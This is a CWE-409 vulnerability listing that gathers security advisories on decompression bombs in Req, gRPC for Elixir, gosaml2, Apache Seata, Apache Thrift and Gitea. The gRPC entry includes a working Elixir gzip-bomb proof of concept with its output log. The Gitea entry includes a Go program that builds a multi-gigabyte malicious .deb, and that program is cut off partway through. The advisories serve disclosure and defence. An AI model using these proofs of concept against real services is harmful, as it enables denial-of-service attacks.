Common Weakness Enumeration
CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
194 vulnerabilities reference this CWE, most recent first.
GHSA-655F-MP8P-96GV
Vulnerability from github – Published: 2026-07-29 15:23 – Updated: 2026-07-29 15:23
VLAI
Summary
Req vulnerable to unbounded archive/compression extraction triggered by response content-type
Details
Summary
Req's default response pipeline auto-decodes archive and compressed bodies based on the server-supplied content-type (or URL extension) and materialises the full decompressed contents in memory with no size cap. An attacker who controls (or can redirect a victim into) an HTTP endpoint reached by Req.get!/1 can return a tiny "decompression bomb" that expands to many gigabytes on the client and exhausts the BEAM's memory.
Details
1. Archive auto-decoding. Req.Steps.decode_body/1 in lib/req/steps.ex dispatches on the response content-type (or URL extension) and calls Erlang's archive libraries with :memory, returning a [{name, bytes}] list of every entry fully decompressed in RAM: application/zip → :zip.extract(body, [:memory]), application/x-tar → :erl_tar.extract({:binary, body}, [:memory]), application/gzip / .tgz → :erl_tar.extract({:binary, body}, [:memory, :compressed]). No byte cap is enforced before decoding and no per-entry size limit is passed to :zip / :erl_tar.
2. content-encoding chaining. Req.Steps.decompress_body/1 walks the content-encoding header and chains :zlib / :brotli / :ezstd decoders, so a response advertising content-encoding: gzip, gzip, gzip, … inflates through multiple layers without bound.
3. Default-on, attacker-chosen decoder. Both steps are part of Req's default pipeline. The caller does not need to opt in, and the attacker chooses which decoder fires by setting content-type and content-encoding on their own server (or on any host reached via Req's automatic redirect following).
PoC
- Run an HTTP server that responds 200 with
content-type: application/zipand a body that is a zip archive whose single entry is ~400 MB of zero bytes (compressed wire payload: a few hundred KB). - From the victim process, call
Req.get!(url)against that server (no special options, no opt-in to archive decoding). decode_body/1dispatches oncontent-type, invokes:zip.extract(body, [:memory]), and the response body becomes[{~c"bomb.bin", <<400 MB of zero bytes>>}]. A sub-MB request produces hundreds of MB resident memory; layering gzip on thecontent-encodingpath or increasing entry size scales arbitrarily.
Impact
Memory-exhaustion denial of service against any Elixir application that uses Req with its default step pipeline to fetch URLs influenced by an untrusted party, including webhook senders, link previews, OAuth/OIDC discovery clients, package mirrors, image proxies, and any Req.get!/1 call that may follow redirects to attacker-controlled hosts. No authentication is required; a single response can crash the BEAM and take down unrelated workloads on the same VM.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "req"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49755"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T15:23:16Z",
"nvd_published_at": "2026-06-08T16:16:43Z",
"severity": "HIGH"
},
"details": "### Summary\n\nReq\u0027s default response pipeline auto-decodes archive and compressed bodies based on the server-supplied `content-type` (or URL extension) and materialises the full decompressed contents in memory with no size cap. An attacker who controls (or can redirect a victim into) an HTTP endpoint reached by `Req.get!/1` can return a tiny \"decompression bomb\" that expands to many gigabytes on the client and exhausts the BEAM\u0027s memory.\n\n### Details\n\n**1. Archive auto-decoding.** `Req.Steps.decode_body/1` in `lib/req/steps.ex` dispatches on the response `content-type` (or URL extension) and calls Erlang\u0027s archive libraries with `:memory`, returning a `[{name, bytes}]` list of every entry fully decompressed in RAM: `application/zip` \u2192 `:zip.extract(body, [:memory])`, `application/x-tar` \u2192 `:erl_tar.extract({:binary, body}, [:memory])`, `application/gzip` / `.tgz` \u2192 `:erl_tar.extract({:binary, body}, [:memory, :compressed])`. No byte cap is enforced before decoding and no per-entry size limit is passed to `:zip` / `:erl_tar`.\n\n**2. content-encoding chaining.** `Req.Steps.decompress_body/1` walks the `content-encoding` header and chains `:zlib` / `:brotli` / `:ezstd` decoders, so a response advertising `content-encoding: gzip, gzip, gzip, \u2026` inflates through multiple layers without bound.\n\n**3. Default-on, attacker-chosen decoder.** Both steps are part of Req\u0027s default pipeline. The caller does not need to opt in, and the attacker chooses which decoder fires by setting `content-type` and `content-encoding` on their own server (or on any host reached via Req\u0027s automatic redirect following).\n\n### PoC\n\n1. Run an HTTP server that responds 200 with `content-type: application/zip` and a body that is a zip archive whose single entry is ~400 MB of zero bytes (compressed wire payload: a few hundred KB).\n2. From the victim process, call `Req.get!(url)` against that server (no special options, no opt-in to archive decoding).\n3. `decode_body/1` dispatches on `content-type`, invokes `:zip.extract(body, [:memory])`, and the response body becomes `[{~c\"bomb.bin\", \u003c\u003c400 MB of zero bytes\u003e\u003e}]`. A sub-MB request produces hundreds of MB resident memory; layering gzip on the `content-encoding` path or increasing entry size scales arbitrarily.\n\n### Impact\n\nMemory-exhaustion denial of service against any Elixir application that uses Req with its default step pipeline to fetch URLs influenced by an untrusted party, including webhook senders, link previews, OAuth/OIDC discovery clients, package mirrors, image proxies, and any `Req.get!/1` call that may follow redirects to attacker-controlled hosts. No authentication is required; a single response can crash the BEAM and take down unrelated workloads on the same VM.",
"id": "GHSA-655f-mp8p-96gv",
"modified": "2026-07-29T15:23:16Z",
"published": "2026-07-29T15:23:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wojtekmach/req/security/advisories/GHSA-655f-mp8p-96gv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49755"
},
{
"type": "WEB",
"url": "https://github.com/wojtekmach/req/commit/84977e5b1a83f26e749d55ad06e3625464af4e8d"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-49755.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/wojtekmach/req"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-49755"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Req vulnerable to unbounded archive/compression extraction triggered by response content-type"
}
GHSA-65VG-64G8-MWJR
Vulnerability from github – Published: 2025-03-20 09:30 – Updated: 2025-03-21 04:29
VLAI
Summary
Apache Seata Vulnerable to Data Amplification
Details
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Seata (incubating).
This issue affects Apache Seata (incubating): through <=2.2.0.
Users are recommended to upgrade to version 2.3.0, which fixes the issue.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.seata:seata-parent"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-54016"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T18:24:39Z",
"nvd_published_at": "2025-03-20T09:15:12Z",
"severity": "LOW"
},
"details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Seata (incubating).\n\nThis issue affects Apache Seata (incubating): through \u003c=2.2.0.\n\nUsers are recommended to upgrade to version 2.3.0, which fixes the issue.",
"id": "GHSA-65vg-64g8-mwjr",
"modified": "2025-03-21T04:29:43Z",
"published": "2025-03-20T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54016"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/incubator-seata"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/grn0x8tmssx07qc9z50lwgmrkwzrrhzg"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/03/19/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:L/E:U",
"type": "CVSS_V4"
}
],
"summary": "Apache Seata Vulnerable to Data Amplification"
}
GHSA-6CCX-9C9F-327W
Vulnerability from github – Published: 2026-08-25 18:12 – Updated: 2026-08-25 18:12
VLAI
Summary
gRPC Erlang package has unbounded gzip decompression (decompression bomb)
Details
Summary
An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).
Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba
Details
GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.
PoC
A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.
Impact
This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.
Scripts and Logs
# Verifies: Unbounded gzip decompression (decompression bomb)
Mix.install([{:grpc, "~> 0.9"}])
# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))
# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
<<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>
IO.puts(
"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)
:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")
# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)
mem_after = :erlang.memory(:total)
IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")
amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")
if byte_size(decompressed) == uncompressed_size do
IO.puts(
"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
)
else
IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after: 403 MB
Delta: 358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "grpc"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53430"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T18:12:58Z",
"nvd_published_at": "2026-06-15T23:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node\u0027s heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server\u0027s `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node\u0027s memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required \u2014 the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server\u0027s request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after: #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n IO.puts(\n \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n )\nelse\n IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after: 403 MB\nDelta: 358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
"id": "GHSA-6ccx-9c9f-327w",
"modified": "2026-08-25T18:12:58Z",
"published": "2026-08-25T18:12:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/pull/543"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/elixir-grpc/grpc"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gRPC Erlang package has unbounded gzip decompression (decompression bomb)"
}
GHSA-6GC3-CRP7-25W5
Vulnerability from github – Published: 2023-03-02 23:12 – Updated: 2024-05-20 21:49
VLAI
Summary
gosaml2 vulnerable to Denial Of Service Via Deflate Decompression Bomb
Details
Impact
SAML Service Providers using this library for SAML authentication support are likely susceptible to Denial of Service attacks. A bug in this library enables attackers to craft a deflate-compressed request which will consume significantly more memory during processing than the size of the original request. This may eventually lead to memory exhaustion and the process being killed.
Mitigation
The maximum compression ratio achievable with deflate is 1032:1, so by limiting the size of bodies passed to gosaml2, limiting the rate and concurrency of calls, and ensuring that lots of memory is available to the process it may be possible to help Go's garbage collector "keep up".
Implementors are encouraged not to rely on this.
Patches
This issue is addressed in v0.9.0
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/russellhaering/gosaml2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26483"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-02T23:12:47Z",
"nvd_published_at": "2023-03-03T23:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nSAML Service Providers using this library for SAML authentication support are likely susceptible to Denial of Service attacks. A bug in this library enables attackers to craft a `deflate`-compressed request which will consume significantly more memory during processing than the size of the original request. This may eventually lead to memory exhaustion and the process being killed.\n\n### Mitigation\nThe maximum compression ratio achievable with `deflate` is 1032:1, so by limiting the size of bodies passed to gosaml2, limiting the rate and concurrency of calls, and ensuring that lots of memory is available to the process it _may_ be possible to help Go\u0027s garbage collector \"keep up\".\n\nImplementors are encouraged not to rely on this.\n\n### Patches\nThis issue is addressed in v0.9.0",
"id": "GHSA-6gc3-crp7-25w5",
"modified": "2024-05-20T21:49:09Z",
"published": "2023-03-02T23:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/russellhaering/gosaml2/security/advisories/GHSA-6gc3-crp7-25w5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26483"
},
{
"type": "WEB",
"url": "https://github.com/russellhaering/gosaml2/commit/f9d66040241093e8702649baff50cc70d2c683c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/russellhaering/gosaml2"
},
{
"type": "WEB",
"url": "https://github.com/russellhaering/gosaml2/releases/tag/v0.9.0"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1602"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "gosaml2 vulnerable to Denial Of Service Via Deflate Decompression Bomb"
}
GHSA-6H9H-5C4R-FQGF
Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 21:31
VLAI
Details
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-48586"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T12:16:44Z",
"severity": "HIGH"
},
"details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
"id": "GHSA-6h9h-5c4r-fqgf",
"modified": "2026-07-27T21:31:21Z",
"published": "2026-07-27T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48586"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/p008svsjf9p6bj47wyyf5dgglq5z7xoq"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/24/37"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6HM7-3PWJ-22RM
Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24
VLAI
Summary
Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload
Details
Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded .deb file, the parser decompresses control.tar.gz and copies the entire uncompressed stream into a strings.Builder via a TeeReader, with no limit on how much data is read. Because DEFLATE compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB .deb payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with += at modules/packages/debian/metadata.go:161 inside a loop, producing O(N²) allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.
Root Cause
There are two distinct root causes that can be exploited independently or together.
1. Unbounded decompression (decompression bomb) ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110
The resulting inner reader is passed directly to the tar reader, and from there to ParseControlFile. Inside ParseControlFile,
every byte that the bufio.Scanner reads from the decompressed stream is simultaneously written into an unbounded
strings.Builder via io.TeeReader:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150
There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with io.LimitReader before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.
2. O(N²) string concatenation For each continuation line belonging to the Description field, the parser appends to a plain string with +=:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164
Because Go strings are immutable, every += allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.
Reproducing
I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.
This has been reproduced on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.
All the files go in the gitea file directory.
cmd/poc/main.go
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"fmt"
"io"
"os"
"runtime"
"strings"
"time"
"github.com/blakesmith/ar"
debian_module "gitea.dev/modules/packages/debian"
)
// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB
// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder — that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes
// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
"Version: 1.0\n" +
"Architecture: amd64\n" +
"Maintainer: Evil Hacker <evil@evil.com>\n" +
"Description: exploit\n"
func printMem() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// Print RSS-equivalent (HeapSys + StackSys covers most process memory).
fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n",
float64(m.HeapAlloc)/1e9,
float64(m.Sys)/1e9,
float64(m.TotalAlloc)/1e9,
)
}
// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return fmt.Errorf("gzip.NewWriter: %w", err)
}
tw := tar.NewWriter(gzw)
numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))
if err := tw.WriteHeader(&tar.Header{
Name: "./control",
Mode: 0o644,
Size: totalSize,
ModTime: time.Now(),
Typeflag: tar.TypeReg,
}); err != nil {
return fmt.Errorf("tar WriteHeader: %w", err)
}
if _, err := tw.Write([]byte(controlHeader)); err != nil {
return fmt.Errorf("write header: %w", err)
}
// Write padLine in 5 MB batches (1 M lines × 5 bytes).
const batchLines = 1_000_000
batch := []byte(strings.Repeat(padLine, batchLines))
fullBatches := numPadLines / batchLines
remainder := numPadLines % batchLines
fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n",
numPadLines, float64(totalSize)/1e9)
t0 := time.Now()
for i := range fullBatches {
if _, err := tw.Write(batch); err != nil {
return fmt.Errorf("batch write: %w", err)
}
if i%500 == 0 && i > 0 {
pct := float64(i) / float64(fullBatches) * 100
fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
}
}
if remainder > 0 {
if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
return fmt.Errorf("remainder write: %w", err)
}
}
if err := tw.Close(); err != nil {
return fmt.Errorf("tar close: %w", err)
}
if err := gzw.Close(); err != nil {
return fmt.Errorf("gzip close: %w", err)
}
fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds())
return nil
}
// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
// Buffer control.tar.gz first so we know its compressed size for the ar header.
var ctrlBuf bytes.Buffer
fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
if err := buildControlTarGz(&ctrlBuf); err != nil {
return err
}
ctrlBytes := ctrlBuf.Bytes()
fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)
// Empty data.tar.gz
var dataBuf bytes.Buffer
dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
tar.NewWriter(dgzw).Close()
dgzw.Close()
dataBytes := dataBuf.Bytes()
arw := ar.NewWriter(w)
if err := arw.WriteGlobalHeader(); err != nil {
return err
}
now := time.Now()
for _, member := range []struct {
name string
data []byte
}{
{"debian-binary", []byte("2.0\n")},
{"control.tar.gz", ctrlBytes},
{"data.tar.gz", dataBytes},
} {
if err := arw.WriteHeader(&ar.Header{
Name: member.name,
Size: int64(len(member.data)),
Mode: 0o644,
ModTime: now,
}); err != nil {
return fmt.Errorf("ar header %s: %w", member.name, err)
}
if _, err := arw.Write(member.data); err != nil {
return fmt.Errorf("ar write %s: %w", member.name, err)
}
}
return nil
}
func main() {
fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===")
fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)
fmt.Printf("Container memory limit: 12 GB\n\n")
// Background goroutine prints memory stats every 2 s.
go func() {
for range time.Tick(2 * time.Second) {
printMem()
}
}()
// Phase 1 — create the payload and save it to a temp file.
// Writing to disk keeps the ~200 MB compressed payload out of the heap
// before we start the parse phase.
tmp, err := os.CreateTemp("", "evil-*.deb")
if err != nil {
fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
os.Exit(1)
}
defer os.Remove(tmp.Name())
defer tmp.Close()
t0 := time.Now()
if err := buildDeb(tmp); err != nil {
fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
os.Exit(1)
}
sz, _ := tmp.Seek(0, io.SeekCurrent)
fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())
// Phase 2 — call ParsePackage, mirroring UploadPackageFile at
// routers/api/packages/debian/debian.go:146.
// The TeeReader inside ParseControlFile (metadata.go:149) will copy the
